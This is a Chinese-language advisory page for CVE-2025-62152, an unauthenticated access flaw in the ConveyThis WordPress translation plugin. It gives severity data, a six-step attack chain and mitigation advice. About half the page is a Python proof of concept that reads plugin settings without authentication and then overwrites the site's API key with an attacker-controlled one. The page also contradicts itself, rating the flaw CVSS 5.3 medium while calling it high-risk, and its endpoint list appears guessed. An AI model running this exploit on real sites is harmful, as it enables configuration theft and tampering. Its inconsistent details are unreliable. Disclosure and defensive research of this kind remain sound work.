CVE-2025-62152 ConveyThis WordPress插件缺失授权漏洞

漏洞信息

漏洞编号

CVE-2025-62152

漏洞类型

缺失授权 (Missing Authorization)

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

ConveyThis conveythis-translate WordPress插件

漏洞概述

CVE-2025-62152是WordPress ConveyThis翻译插件中的一个高危安全漏洞，属于访问控制缺陷（Broken Access Control）类别。该漏洞由Patchstack安全团队发现，存在于插件的授权验证机制中。由于插件未能正确实施权限检查，攻击者可以在无需认证的情况下访问受保护的API端点，从而获取或修改敏感配置信息。漏洞影响范围涵盖插件269.2及以下所有版本，涉及全球大量使用该插件进行多语言翻译的WordPress网站。攻击者可以利用此漏洞进行未授权的配置访问、语言设置篡改等恶意操作，对网站安全性和用户体验造成潜在威胁。由于该漏洞无需认证即可利用，且攻击复杂度低，建议受影响的用户立即采取修复措施。

技术细节

ConveyThis翻译插件在处理用户请求时存在授权验证缺失问题。插件的REST API端点未对用户权限进行充分验证，导致未经认证的攻击者可以直接访问本应需要授权的API接口。具体而言，插件的API路由（如/conveythis-translate/v1/等端点）缺少权限检查中间件，允许任何匿名用户发送请求并获取响应。攻击者通过构造特定的HTTP请求（如GET/POST请求），无需提供有效的认证凭证（如nonce或session token），即可访问翻译配置、语言设置、缓存数据等敏感信息。这种访问控制缺陷使得攻击者能够枚举网站配置信息，进一步分析目标系统的安全状态，为后续更复杂的攻击奠定基础。漏洞的根本原因在于开发者过度信任客户端输入，未遵循最小权限原则进行API设计。

攻击链分析

STEP 1

步骤1

信息收集：攻击者通过自动化扫描或手动探测识别目标WordPress网站是否安装ConveyThis翻译插件，并确定插件版本号

STEP 2

步骤2

端点识别：攻击者枚举ConveyThis插件的REST API端点（如/conveythis-translate/v1/*），识别可被未授权访问的接口

STEP 3

步骤3

未授权访问：攻击者构造HTTP请求直接访问受保护的API端点，无需提供任何认证凭证（如nonce、session或API密钥）

STEP 4

步骤4

数据泄露：成功访问后，攻击者获取插件配置、翻译设置、语言选项、API密钥等敏感信息

STEP 5

步骤5

配置篡改：攻击者利用写入权限修改插件配置，将API密钥替换为攻击者控制的密钥，或修改翻译源设置

STEP 6

步骤6

后续攻击：泄露的配置信息可用于进一步侦察，或作为跳板实施更复杂的攻击，如供应链攻击、钓鱼等

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-62152 PoC - ConveyThis Plugin Authorization Bypass
# Target: WordPress site with ConveyThis plugin <= 269.2

import requests
import json

target_url = "http://target-wordpress-site.com"

def check_vulnerability():
    """Check if target is vulnerable to CVE-2025-62152"""
    
    # Try to access ConveyThis API endpoints without authentication
    api_endpoints = [
        "/wp-json/conveythis-translate/v1/settings",
        "/wp-json/conveythis-translate/v1/config",
        "/wp-json/conveythis-translate/v1/languages",
        "/?rest_route=/conveythis-translate/v1/get_settings"
    ]
    
    vulnerable = False
    leaked_data = []
    
    for endpoint in api_endpoints:
        try:
            # Send unauthenticated request
            response = requests.get(f"{target_url}{endpoint}", 
                                   timeout=10,
                                   headers={
                                       "User-Agent": "Mozilla/5.0",
                                       "Content-Type": "application/json"
                                   })
            
            if response.status_code == 200:
                try:
                    data = response.json()
                    if data:
                        vulnerable = True
                        leaked_data.append({
                            "endpoint": endpoint,
                            "status": response.status_code,
                            "data": data
                        })
                        print(f"[!] Vulnerable endpoint found: {endpoint}")
                        print(f"[+] Leaked data: {json.dumps(data, indent=2)}")
                except:
                    pass
            elif response.status_code == 401:
                print(f"[-] Endpoint requires auth: {endpoint}")
                
        except requests.RequestException as e:
            print(f"[-] Error accessing {endpoint}: {e}")
    
    return vulnerable, leaked_data

def exploit_config_modification():
    """Attempt to modify ConveyThis configuration without auth"""
    
    # Malicious configuration payload
    payload = {
        "api_key": "attacker_controlled_key",
        "source_lang": "en",
        "target_langs": ["es", "fr", "de"],
        "auto_switch": True
    }
    
    exploit_url = f"{target_url}/wp-json/conveythis-translate/v1/settings"
    
    try:
        response = requests.post(exploit_url, 
                                json=payload,
                                headers={
                                    "User-Agent": "Mozilla/5.0",
                                    "Content-Type": "application/json"
                                })
        
        if response.status_code in [200, 201]:
            print(f"[!] Successfully modified ConveyThis settings!")
            print(f"[+] Response: {response.text}")
            return True
    except requests.RequestException as e:
        print(f"[-] Exploitation failed: {e}")
    
    return False

if __name__ == "__main__":
    print("CVE-2025-62152 ConveyThis Authorization Bypass PoC")
    print("=" * 50)
    
    is_vulnerable, data = check_vulnerability()
    
    if is_vulnerable:
        print("\n[!] TARGET IS VULNERABLE!")
        print("[*] Performing exploitation...")
        exploit_config_modification()
    else:
        print("\n[-] Target may not be vulnerable or plugin not installed")

影响范围

ConveyThis translate插件 <= 269.2

防御指南

临时缓解措施

在官方补丁发布之前，可采取以下临时缓解措施：1）限制wp-json和REST API端点的访问权限，通过.htaccess或nginx配置禁止匿名用户访问；2）使用Security Headers插件添加严格的访问控制头；3）部署ModSecurity等WAF规则，识别和阻止针对ConveyThis插件的恶意请求；4）考虑暂时禁用ConveyThis插件，使用其他经过安全审计的翻译插件替代；5）实施IP白名单策略，限制只有受信任的IP地址可以访问管理后台和API端点；6）加强网站整体安全监控，设置异常访问告警，及时发现潜在攻击行为。